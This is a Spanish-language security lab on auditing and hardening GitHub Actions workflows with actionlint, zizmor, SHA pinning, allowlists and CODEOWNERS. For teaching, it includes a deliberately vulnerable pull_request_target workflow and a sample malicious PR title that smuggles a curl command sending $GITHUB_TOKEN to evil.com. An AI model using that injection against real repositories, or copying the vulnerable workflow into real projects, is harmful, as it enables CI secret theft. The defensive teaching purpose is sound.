Lab: Detección de GitHub Actions Maliciosas con Static Analysis

Descripción General

Las GitHub Actions de terceros son una de las funcionalidades más convenientes del ecosistema de GitHub. Con una simple directiva uses:, puedes incorporar lógica de compilación compleja, desplegar en proveedores cloud o ejecutar escáneres de seguridad. Pero esa conveniencia conlleva una contrapartida crítica: cada action de terceros ejecuta código en tu entorno de CI con acceso a tus secrets, tokens y código fuente.

Una action comprometida o maliciosa puede exfiltrar credenciales, inyectar código en tus artefactos de compilación, modificar variables de entorno para alterar pasos posteriores, o insertar puertas traseras en tus releases. A diferencia de las dependencias gestionadas por gestores de paquetes, las GitHub Actions carecen de un ecosistema robusto de verificación, lo que las convierte en un objetivo principal para ataques a la cadena de suministro.

En este laboratorio práctico, aprenderás a:

  • Auditar manualmente actions de terceros en busca de comportamientos sospechosos
  • Usar actionlint para detectar errores de configuración y vulnerabilidades de inyección de expresiones
  • Usar zizmor para detectar anti-patrones de seguridad específicos en workflows
  • Fijar actions a referencias SHA inmutables y automatizar actualizaciones con Dependabot
  • Aplicar una lista de actions permitidas para evitar que actions no autorizadas entren en tus pipelines
  • Monitorear cambios en workflows mediante CODEOWNERS y verificaciones automatizadas en PRs

Al finalizar este laboratorio, tendrás una estrategia de defensa en capas que reduce el riesgo de compromiso de la cadena de suministro a través de GitHub Actions.

Requisitos Previos

Antes de comenzar este laboratorio, asegúrate de tener:

  • Una cuenta de GitHub con permisos para crear repositorios y configurar Actions
  • Un repositorio de prueba — crea un repositorio nuevo o utiliza uno existente que no sea de producción y que tenga al menos un workflow de GitHub Actions
  • Git CLI instalado y autenticado con GitHub
  • Node.js 18+ (necesario para algunas herramientas)
  • Python 3.9+ (para instalar zizmor)
  • GitHub CLI (gh) — instalar desde cli.github.com
  • Conocimiento básico de GitHub Actions — debes entender la sintaxis YAML de workflows, jobs, steps y la palabra clave uses:

Crea un repositorio de prueba si no tienes uno:

gh repo create actions-security-lab --public --clone
cd actions-security-lab
mkdir -p .github/workflows

Crea un archivo de workflow de ejemplo en .github/workflows/ci.yml que usaremos a lo largo de este laboratorio:

name: CI Pipeline
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - uses: actions/cache@v4
        with:
          path: ~/.npm
          key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
      - run: npm ci
      - run: npm test

Comprendiendo la Amenaza

Antes de comenzar a escanear y auditar, es importante entender cómo las GitHub Actions se convierten en vectores de ataque. Existen varios métodos de compromiso bien documentados:

Toma de Control de Cuenta del Mantenedor

Un atacante obtiene acceso a la cuenta de GitHub del mantenedor de una action — mediante credential stuffing, phishing o secuestro de sesión. Una vez que controla la cuenta, envía código malicioso al repositorio de la action y actualiza los tags existentes para que apunten al commit comprometido. Cada workflow que referencia ese tag obtiene inmediatamente la versión maliciosa en su siguiente ejecución.

Actualizaciones Maliciosas de Tags

Los tags de Git son mutables. Un mantenedor de action (o un atacante con acceso de escritura) puede eliminar un tag como v1 y recrearlo apuntando a un commit diferente. Si tu workflow usa uses: some-action/tool@v1, estás confiando en que el tag siempre apunta a código seguro. Esta confianza se viola fácilmente.

Typosquatting

Los atacantes crean actions con nombres confusamente similares a las populares. Por ejemplo:

  • actions/checkout (legítima) vs. action/checkout (typosquat)
  • actions/setup-node vs. actions/setup-nodejs
  • docker/build-push-action vs. docker/build-and-push-action

Un solo error tipográfico en el YAML de tu workflow puede incorporar una action completamente diferente y maliciosa.

Secuestro de Dependencias

Muchas GitHub Actions están basadas en JavaScript y tienen sus propias dependencias en node_modules. Si una dependencia de una action es comprometida (mediante un ataque a la cadena de suministro de npm), la propia action se convierte en un vector — incluso si el código de la action en sí está limpio.

Incidentes Reales

tj-actions/changed-files (marzo 2023): Los atacantes comprometieron la ampliamente utilizada action tj-actions/changed-files al obtener acceso a la cuenta del mantenedor. Modificaron la action para exfiltrar secrets de CI/CD volcando la memoria del runner y las variables de entorno a los logs del workflow. Miles de repositorios se vieron afectados porque referenciaban tags mutables en lugar de SHAs fijados.

codecov/codecov-action (2021): El Bash Uploader de Codecov fue modificado por atacantes que obtuvieron acceso a través de una imagen Docker comprometida utilizada en el proceso de CI de Codecov. El script manipulado exfiltró variables de entorno — incluyendo tokens de CI, claves API y credenciales — de los entornos de CI de los clientes. Esto afectó a un gran número de organizaciones que ejecutaban la action de Codecov en sus pipelines.

Estos incidentes comparten un patrón común: confianza en referencias mutables. Ambos podrían haberse mitigado fijando a SHAs inmutables y auditando el comportamiento de la action antes de adoptarla.

Ejercicio 1: Auditoría Manual de Actions

Las herramientas automatizadas son esenciales, pero no hay sustituto para entender lo que una action realmente hace. En este ejercicio, auditarás manualmente tres actions de uso común para desarrollar tu instinto para detectar patrones sospechosos.

Paso 1: Seleccionar Actions a Auditar

Del workflow de ejemplo anterior, auditaremos:

  1. actions/checkout@v4
  2. actions/setup-node@v4
  3. actions/cache@v4

Paso 2: Revisar action.yml

Para cada action, comienza examinando el archivo action.yml en el repositorio de la action. Este archivo define las entradas, salidas y punto de entrada de la action.

# Clone the action to inspect locally
git clone --depth 1 https://github.com/actions/checkout.git /tmp/audit-checkout
cat /tmp/audit-checkout/action.yml

Aspectos clave a buscar en action.yml:

  • Punto de entrada: ¿Es una action de tipo node (ejecuta JavaScript), composite (ejecuta steps) o docker (ejecuta un contenedor)? Cada tipo tiene un perfil de riesgo diferente.
  • Entradas: ¿La action acepta entradas sensibles como tokens o credenciales?
  • Post-action: ¿Define un punto de entrada post:? Las post-actions se ejecutan incluso si el job falla, lo que las hace ideales para la exfiltración.

Paso 3: Inspeccionar el Código Fuente

Para actions de JavaScript/TypeScript, examina el archivo compilado dist/index.js y el código fuente en src/:

# Search for network calls
grep -rn 'https\?://' /tmp/audit-checkout/src/ | grep -v 'github.com\|api.github.com'

# Search for secret access patterns
grep -rn 'GITHUB_TOKEN\|process.env\|getInput' /tmp/audit-checkout/src/

# Search for file writes to sensitive locations
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' /tmp/audit-checkout/src/

# Search for exec or spawn calls
grep -rn 'exec\|spawn\|child_process' /tmp/audit-checkout/src/

Paso 4: Lista de Verificación de Señales de Alerta

Usa esta lista de verificación al auditar cualquier GitHub Action:

Señal de Alerta Qué Buscar Nivel de Riesgo
Llamadas de red a dominios desconocidos fetch(), http.request(), curl a dominios que no son de GitHub Crítico
Acceso a secrets Lectura de GITHUB_TOKEN, secrets.* o variables de entorno Alto
Manipulación del entorno Escritura en GITHUB_ENV, GITHUB_OUTPUT o GITHUB_PATH Alto
Ejecución dinámica de código eval(), exec(), descarga y ejecución de scripts Crítico
Código ofuscado Cadenas codificadas en Base64, código minificado sin source maps Alto
Hooks post-action Punto de entrada post: en action.yml Medio
Permisos excesivos solicitados La documentación solicita permisos de write más allá de lo necesario Medio
Sin verificación ni firma Action no proviene de un creador verificado, sin firmas Sigstore Bajo-Medio

Paso 5: Ejemplo de Auditoría — actions/checkout@v4

Aquí tienes una auditoría resumida de actions/checkout@v4:

# action.yml analysis
# - Type: node20 (JavaScript action)
# - Inputs: Accepts 'token' input (defaults to github.token)
# - Post-action: Yes — runs cleanup to remove credentials

# Network analysis
# - Connects to: api.github.com (expected for git operations)
# - No connections to third-party domains ✓

# Secret handling
# - Uses GITHUB_TOKEN for authenticated git clone
# - Token is persisted in git config by default (persist-credentials input)
# - Post-action removes persisted credentials

# Environment writes
# - Does not write to GITHUB_ENV or GITHUB_PATH ✓

# Verdict: SAFE — behavior matches documented purpose
# Recommendation: Set persist-credentials: false to minimize token exposure

Aplica este mismo proceso a cada nueva action antes de agregarla a tus workflows.

Ejercicio 2: Escaneo de Actions con actionlint

actionlint es una herramienta de static analysis para archivos de workflow de GitHub Actions. Detecta errores de sintaxis, desajustes de tipos y — algo crítico para nuestros propósitos — vulnerabilidades de inyección de expresiones.

Paso 1: Instalar actionlint

# macOS
brew install actionlint

# Linux (download binary)
curl -sL https://github.com/rhysd/actionlint/releases/latest/download/actionlint_linux_amd64.tar.gz | tar xz
sudo mv actionlint /usr/local/bin/

# Verify installation
actionlint --version

Paso 2: Ejecutar Contra Tus Workflows

actionlint .github/workflows/*.yml

Para nuestro workflow de CI de ejemplo, actionlint producirá una salida limpia porque seguimos buenas prácticas. Introduzcamos un workflow vulnerable para ver las capacidades de detección de seguridad de actionlint.

Paso 3: Crear un Workflow Vulnerable

Crea .github/workflows/greet-pr.yml con vulnerabilidades intencionales:

name: Greet PR
on:
  pull_request_target:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Greet the contributor
        run: |
          echo "PR Title: ${{ github.event.pull_request.title }}"
          echo "PR Author: ${{ github.event.pull_request.user.login }}"
          echo "PR Body: ${{ github.event.pull_request.body }}"
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      - name: Post comment
        run: |
          curl -X POST \
            -H "Authorization: token $GITHUB_TOKEN" \
            -H "Accept: application/vnd.github.v3+json" \
            https://api.github.com/repos/${{ github.repository }}/issues/${{ github.event.pull_request.number }}/comments \
            -d '{"body": "Welcome, ${{ github.event.pull_request.user.login }}! Thanks for your PR: ${{ github.event.pull_request.title }}"}'

Paso 4: Escanear el Workflow Vulnerable

actionlint .github/workflows/greet-pr.yml

actionlint señalará las vulnerabilidades de inyección de expresiones:

.github/workflows/greet-pr.yml:14:27: expression injection: 
  "github.event.pull_request.title" is potentially untrusted. 
  Consider using an environment variable instead. 
  [expression]
.github/workflows/greet-pr.yml:16:25: expression injection: 
  "github.event.pull_request.body" is potentially untrusted. 
  Consider using an environment variable instead. 
  [expression]

Los campos title y body son controlados por el autor del PR. Un atacante puede crear un título de PR que contenga metacaracteres de shell para ejecutar comandos arbitrarios:

# Malicious PR title:
Innocent Title"; curl -s https://evil.com/steal?token=$GITHUB_TOKEN; echo "

Cuando este título se interpola directamente en el bloque run: mediante ${{ }}, el shell ejecuta el comando inyectado.

Paso 5: Corregir la Vulnerabilidad

La solución es pasar los datos no confiables a través de variables de entorno en lugar de interpolación directa:

name: Greet PR (Fixed)
on:
  pull_request_target:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Greet the contributor
        run: |
          echo "PR Title: $PR_TITLE"
          echo "PR Author: $PR_AUTHOR"
          echo "PR Body: $PR_BODY"
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
          PR_AUTHOR: ${{ github.event.pull_request.user.login }}
          PR_BODY: ${{ github.event.pull_request.body }}
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      - name: Post comment
        uses: actions/github-script@v7
        with:
          script: |
            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.payload.pull_request.number,
              body: `Welcome, ${context.payload.pull_request.user.login}! Thanks for your PR.`
            });

Las variables de entorno se pasan como datos, no se interpolan en comandos de shell, lo que previene la inyección. Vuelve a ejecutar actionlint para confirmar la corrección:

actionlint .github/workflows/greet-pr-fixed.yml
# No output = no issues found

Ejercicio 3: Escaneo con zizmor

zizmor es una herramienta de static analysis enfocada en seguridad, diseñada específicamente para GitHub Actions. Mientras que actionlint se centra en la corrección con algunas verificaciones de seguridad, zizmor se enfoca exclusivamente en anti-patrones de seguridad.

Paso 1: Instalar zizmor

# Install via pip
pip install zizmor

# Or via pipx for isolation
pipx install zizmor

# Verify installation
zizmor --version

Paso 2: Ejecutar Contra Tus Workflows

zizmor .github/workflows/

zizmor analiza los workflows en busca de un conjunto completo de problemas de seguridad. En nuestro ci.yml de ejemplo, señalará:

ci.yml:15:9 warning[unpinned-uses]: unpinned 3rd-party action reference
  |
15|       - uses: actions/checkout@v4
  |         ^^^^ action not pinned to a full-length commit SHA
  |
  = note: Pinning actions to a full SHA protects against tag mutation attacks

ci.yml:17:9 warning[unpinned-uses]: unpinned 3rd-party action reference
  |
17|       - uses: actions/setup-node@v4
  |         ^^^^ action not pinned to a full-length commit SHA

ci.yml:20:9 warning[unpinned-uses]: unpinned 3rd-party action reference
  |
20|       - uses: actions/cache@v4
  |         ^^^^ action not pinned to a full-length commit SHA

Paso 3: Escanear el Workflow Vulnerable

zizmor .github/workflows/greet-pr.yml

zizmor producirá hallazgos de seguridad más detallados:

greet-pr.yml:4:5 warning[dangerous-trigger]: use of dangerous trigger
  |
4 |   pull_request_target:
  |   ^^^^^^^^^^^^^^^^^^^^ pull_request_target runs in the context of the base branch
  |
  = note: This trigger has access to repository secrets and a read-write token

greet-pr.yml:14:27 error[template-injection]: template injection in run: block
  |
14|          echo "PR Title: ${{ github.event.pull_request.title }}"
  |                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  |
  = note: Attacker-controlled input is interpolated directly into a shell command

greet-pr.yml:15:9 warning[unpinned-uses]: no actions pinned by SHA
  |
  = note: All third-party actions should be pinned to full commit SHAs

greet-pr.yml:12:5 warning[excessive-permissions]: permissions may be overly broad
  |
  = note: Consider using read-only permissions where possible

Paso 4: Comparar actionlint y zizmor

Característica actionlint zizmor
Enfoque principal Corrección y sintaxis Análisis de seguridad
Inyección de expresiones Sí (más completo)
Actions no fijadas No
Triggers peligrosos No
Permisos excesivos No
Envenenamiento de artefactos No
Mala configuración de OIDC No
Verificación de tipos No
Sintaxis obsoleta No

Recomendación: Usa ambas herramientas juntas. actionlint detecta problemas de corrección y patrones básicos de inyección; zizmor proporciona un análisis de seguridad más profundo. Agrega ambas a tu pipeline de CI:

name: Workflow Security Scan
on:
  pull_request:
    paths:
      - '.github/workflows/**'

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
      - name: Run actionlint
        run: |
          brew install actionlint
          actionlint .github/workflows/*.yml
      - name: Run zizmor
        run: |
          pip install zizmor
          zizmor .github/workflows/

Ejercicio 4: Fijación y Verificación de la Integridad de Actions

Las referencias basadas en tags como @v4 son mutables — el tag puede moverse para apuntar a cualquier commit en cualquier momento. Las fijaciones basadas en SHA son inmutables y proporcionan garantía criptográfica de que estás ejecutando exactamente el código que revisaste.

Paso 1: Resolver los SHAs de Tus Actions

Usa el GitHub CLI para resolver el SHA actual de cada tag de action:

# Resolve actions/checkout@v4
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object.sha'
# Output: b4ffde65f46336ab88eb53be808477a3936bae11

# Resolve actions/setup-node@v4
gh api repos/actions/setup-node/git/ref/tags/v4 --jq '.object.sha'
# Output: 60edb5dd545a775178f52524783378180af0d1f8

# Resolve actions/cache@v4
gh api repos/actions/cache/git/ref/tags/v4 --jq '.object.sha'
# Output: 0c45773b623bea8c8e75f6c82b208c3cf94d9d67

Importante: Algunos tags apuntan a objetos de tag anotados en lugar de commits directamente. En ese caso, necesitas desreferenciar el tag:

# If the above returns a 'tag' object type, dereference it:
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object' 
# If type is "tag", fetch the underlying commit:
gh api repos/actions/checkout/git/tags/TAG_SHA --jq '.object.sha'

Paso 2: Actualizar Tu Workflow

Reemplaza las referencias de tags con fijaciones SHA. Siempre agrega un comentario con el tag original para mejorar la legibilidad:

steps:
  - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
  - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4
    with:
      node-version: '20'
  - uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94d9d67 # v4
    with:
      path: ~/.npm
      key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}

Paso 3: Verificar Firmas Sigstore (Cuando Estén Disponibles)

Algunos publicadores de actions firman sus releases usando Sigstore. Puedes verificar estas firmas:

# Install cosign
brew install cosign

# Verify a signed action release (if the publisher signs them)
cosign verify-blob \
  --certificate-identity "https://github.com/actions/checkout/.github/workflows/release.yml@refs/tags/v4" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  --bundle checkout-v4.sigstore.json \
  checkout-v4.tar.gz

No todas las actions publican firmas Sigstore todavía, pero esta es una práctica recomendada emergente.

Paso 4: Configurar Dependabot para Actualizaciones Automáticas de SHA

Fijar a SHAs significa que no recibirás actualizaciones automáticamente. Usa Dependabot para automatizar esto mientras mantienes la inmutabilidad:

Crea .github/dependabot.yml:

version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
      day: "monday"
    open-pull-requests-limit: 10
    labels:
      - "dependencies"
      - "github-actions"
    reviewers:
      - "your-security-team"
    commit-message:
      prefix: "chore(deps)"

Cuando se publica una nueva versión de una action, Dependabot creará un PR que actualiza la fijación SHA:

# Example Dependabot PR diff:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
+ uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.2

Esto te da lo mejor de ambos mundos: referencias inmutables con actualizaciones automatizadas que pasan por tu proceso normal de revisión de PRs.

Ejercicio 5: Aplicación de una Lista de Actions Permitidas

Incluso con fijación y escaneo, necesitas un mecanismo para evitar que se agreguen actions no aprobadas a los workflows. Una lista de permitidas asegura que solo se puedan usar actions verificadas.

Opción A: GitHub Enterprise — Lista de Permitidas a Nivel de Organización

Si usas GitHub Enterprise, puedes restringir las actions a nivel de organización:

  1. Ve a la Configuración de tu Organización
  2. Navega a Actions → General
  3. En Policies, selecciona Allow select actions and reusable workflows
  4. Agrega las actions aprobadas: actions/checkout@*, actions/setup-node@*, etc.

Esta es la aplicación más fuerte porque GitHub mismo rechazará las ejecuciones de workflows que usen actions no permitidas.

Opción B: Verificación de Lista de Permitidas Basada en CI

Para organizaciones sin GitHub Enterprise, puedes crear un mecanismo de aplicación basado en CI.

Paso 1: Crear la lista de permitidas.

Crea allowed-actions.txt en la raíz de tu repositorio:

# Approved GitHub Actions
# Format: owner/repo
# Lines starting with # are comments

# Official GitHub actions
actions/checkout
actions/setup-node
actions/cache
actions/upload-artifact
actions/download-artifact
actions/github-script

# Security scanning
github/codeql-action

# Approved third-party
docker/build-push-action
docker/login-action

Paso 2: Crear el script de validación.

Crea scripts/check-actions.sh:

#!/bin/bash
set -euo pipefail

ALLOWLIST="allowed-actions.txt"
WORKFLOW_DIR=".github/workflows"
FAILED=0

if [[ ! -f "$ALLOWLIST" ]]; then
  echo "ERROR: Allowlist file not found: $ALLOWLIST"
  exit 1
fi

# Extract all 'uses:' references from workflow files
echo "Scanning workflow files for action references..."
echo "================================================"

for workflow in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [[ -f "$workflow" ]] || continue
  
  echo ""
  echo "Checking: $workflow"
  
  # Extract action references (owner/repo from uses: owner/repo@ref)
  actions=$(grep -oP 'uses:\s+\K[^@\s]+' "$workflow" | \
    grep '/' | \
    grep -v '^\.\./\|^docker://' | \
    sort -u)
  
  for action in $actions; do
    if grep -qx "$action" "$ALLOWLIST"; then
      echo "  ✓ $action (approved)"
    else
      echo "  ✗ $action (NOT IN ALLOWLIST)"
      FAILED=1
    fi
  done
done

echo ""
echo "================================================"
if [[ $FAILED -eq 1 ]]; then
  echo "FAILED: Unapproved actions detected!"
  echo "To approve a new action, add it to $ALLOWLIST and get security team review."
  exit 1
else
  echo "PASSED: All actions are approved."
fi

Haz el script ejecutable:

chmod +x scripts/check-actions.sh

Paso 3: Crear el workflow de aplicación.

Crea .github/workflows/check-actions.yml:

name: Action Allowlist Check
on:
  pull_request:
    paths:
      - '.github/workflows/**'
      - 'allowed-actions.txt'

permissions:
  contents: read

jobs:
  check-actions:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4

      - name: Check actions against allowlist
        run: ./scripts/check-actions.sh

Paso 4: Probar la aplicación.

Agrega una action no aprobada a un workflow en una rama y abre un PR:

# In a new branch, add an unapproved action
git checkout -b test-unapproved-action

# Add an unapproved action to ci.yml
# e.g., uses: some-unknown/action@v1

git add .github/workflows/ci.yml
git commit -m "test: add unapproved action"
git push origin test-unapproved-action
# Open PR → the check-actions job will fail

La salida mostrará:

Checking: .github/workflows/ci.yml
  ✓ actions/checkout (approved)
  ✓ actions/setup-node (approved)
  ✓ actions/cache (approved)
  ✗ some-unknown/action (NOT IN ALLOWLIST)

================================================
FAILED: Unapproved actions detected!
To approve a new action, add it to allowed-actions.txt and get security team review.

Configura esto como una verificación de estado requerida en las reglas de protección de rama para aplicar la lista de permitidas en todos los PRs.

Ejercicio 6: Monitoreo de Cambios en Actions

Incluso con listas de permitidas y fijación, necesitas visibilidad sobre cuándo cambian los archivos de workflow. Este ejercicio configura mecanismos de monitoreo y alertas.

Paso 1: Configurar CODEOWNERS

Crea .github/CODEOWNERS para requerir la revisión del equipo de seguridad para cambios en workflows:

# Require security team review for all workflow changes
.github/workflows/ @your-org/security-team
.github/actions/    @your-org/security-team
allowed-actions.txt @your-org/security-team
.github/dependabot.yml @your-org/security-team

Habilita la regla de protección de rama «Require review from Code Owners» para aplicar esto.

Paso 2: Crear un Reportador de Cambios en Workflows

Crea un workflow que comente automáticamente en los PRs con un resumen de los cambios en actions:

name: Workflow Change Report
on:
  pull_request:
    paths:
      - '.github/workflows/**'

permissions:
  contents: read
  pull-requests: write

jobs:
  report:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
        with:
          fetch-depth: 0

      - name: Generate action change report
        id: report
        run: |
          BASE=${{ github.event.pull_request.base.sha }}
          HEAD=${{ github.event.pull_request.head.sha }}

          echo "## Workflow Changes Report" > /tmp/report.md
          echo "" >> /tmp/report.md

          # Find changed workflow files
          CHANGED_FILES=$(git diff --name-only "$BASE".."$HEAD" -- .github/workflows/)

          if [[ -z "$CHANGED_FILES" ]]; then
            echo "No workflow files changed." >> /tmp/report.md
            exit 0
          fi

          echo "### Changed Files" >> /tmp/report.md
          for file in $CHANGED_FILES; do
            echo "- \`$file\`" >> /tmp/report.md
          done
          echo "" >> /tmp/report.md

          # Extract action changes
          echo "### Action Reference Changes" >> /tmp/report.md
          echo '```diff' >> /tmp/report.md
          git diff "$BASE".."$HEAD" -- .github/workflows/ | \
            grep -E '^[+-].*uses:' | \
            grep -v '^[+-]{3}' >> /tmp/report.md || true
          echo '```' >> /tmp/report.md
          echo "" >> /tmp/report.md
          echo "⚠️ **Security team review required for workflow changes.**" >> /tmp/report.md

      - name: Comment on PR
        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7
        with:
          script: |
            const fs = require('fs');
            const report = fs.readFileSync('/tmp/report.md', 'utf8');
            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              body: report
            });

Paso 3: Aprovechar las Alertas de Seguridad de Dependabot

Dependabot señala automáticamente las vulnerabilidades conocidas en GitHub Actions. Asegúrate de que esté habilitado:

  1. Ve a Repository Settings → Code security and analysis
  2. Habilita Dependabot alerts
  3. Habilita Dependabot security updates

Cuando una action fijada tiene una vulnerabilidad conocida, Dependabot creará un PR de actualización de seguridad. Dado que estás fijado a SHAs, el diff muestra claramente los hashes de commit antiguos y nuevos, facilitando la revisión de exactamente qué cambió.

Paso 4: Monitoreo del Audit Log (GitHub Enterprise)

Para organizaciones que usan GitHub Enterprise, habilita la transmisión del audit log para detectar modificaciones en workflows:

# Query the audit log for workflow file changes
gh api orgs/YOUR_ORG/audit-log \
  --method GET \
  -f phrase='action:workflows' \
  -f per_page=50 \
  --jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'

Construyendo una Estrategia de Defensa

No todas las organizaciones necesitan todos los controles. Aquí tienes un enfoque por niveles basado en tus requisitos de seguridad:

Nivel 1: Mínimo (Todas las Organizaciones)

  • Fijar todas las actions a hashes SHA completos — previene ataques de mutación de tags
  • Habilitar Dependabot para github-actions — automatiza las actualizaciones de SHA
  • Establecer permisos mínimos — usa permissions: a nivel de workflow y job

Esfuerzo: Bajo. Impacto: Bloquea el vector de ataque más común (tags mutables).

Nivel 2: Recomendado (La Mayoría de las Organizaciones)

Todo lo del Nivel 1, más:

  • Ejecutar actionlint y zizmor en CI — detecta vulnerabilidades de inyección y errores de configuración de seguridad antes de que se fusionen
  • Configurar CODEOWNERS para archivos de workflow — asegura que el equipo de seguridad revise todos los cambios en workflows
  • Habilitar reglas de protección de rama — requiere verificaciones de estado y revisiones de propietarios de código

Esfuerzo: Medio. Impacto: Detecta vulnerabilidades durante el desarrollo y asegura la revisión.

Nivel 3: Alta Seguridad (Industrias Reguladas, Objetivos de Alto Valor)

Todo lo del Nivel 2, más:

  • Aplicar una lista de actions permitidas — solo se pueden usar actions pre-aprobadas
  • Auditoría de seguridad manual para cada nueva action — revisión completa del código antes de agregar a la lista de permitidas
  • Hacer fork de actions críticas internamente — mantener tus propias copias de actions esenciales para eliminar la dependencia externa
  • Reporte automatizado de cambios en workflows — comentarios en PRs resumiendo todos los cambios en actions
  • Monitoreo del audit log — alertas en tiempo real sobre modificaciones en workflows

Esfuerzo: Alto. Impacto: Defensa integral contra ataques a la cadena de suministro a través de Actions.

Limpieza

Después de completar el laboratorio, limpia los recursos de prueba:

# Remove the test repository if you created one
gh repo delete actions-security-lab --yes

# Remove cloned audit directories
rm -rf /tmp/audit-checkout /tmp/audit-setup-node /tmp/audit-cache

# Uninstall tools if no longer needed
# brew uninstall actionlint
# pip uninstall zizmor

Si usaste tu propio repositorio, revierte los workflows de prueba vulnerables:

git checkout main
git branch -D test-unapproved-action
rm -f .github/workflows/greet-pr.yml

Conclusiones Clave

  • Las GitHub Actions de terceros son un riesgo para la cadena de suministro. Cada directiva uses: ejecuta código externo en tu entorno de CI con acceso a tus secrets y tokens.
  • Los tags mutables son la causa raíz de la mayoría de los compromisos de actions. Fijar a hashes SHA completos elimina los ataques de mutación de tags, el vector de explotación más común.
  • La inyección de expresiones es la vulnerabilidad de workflow más prevalente. Nunca interpoles datos no confiables (títulos de PR, nombres de rama, mensajes de commit) directamente en bloques run: — siempre usa variables de entorno.
  • El escaneo automatizado con actionlint y zizmor detecta lo que la revisión manual omite. Usa ambas herramientas en tu pipeline de CI — actionlint para corrección y seguridad básica, zizmor para análisis de seguridad profundo.
  • La defensa en profundidad es esencial. Ningún control individual es suficiente. Combina fijación, escaneo, listas de permitidas, CODEOWNERS y monitoreo para una protección integral.
  • Trata los archivos de workflow como código de producción. Merecen los mismos procesos de revisión, prueba y gestión de cambios que el código de tu aplicación.

Próximos Pasos

Continúa construyendo tu conocimiento en seguridad de CI/CD con estas guías relacionadas: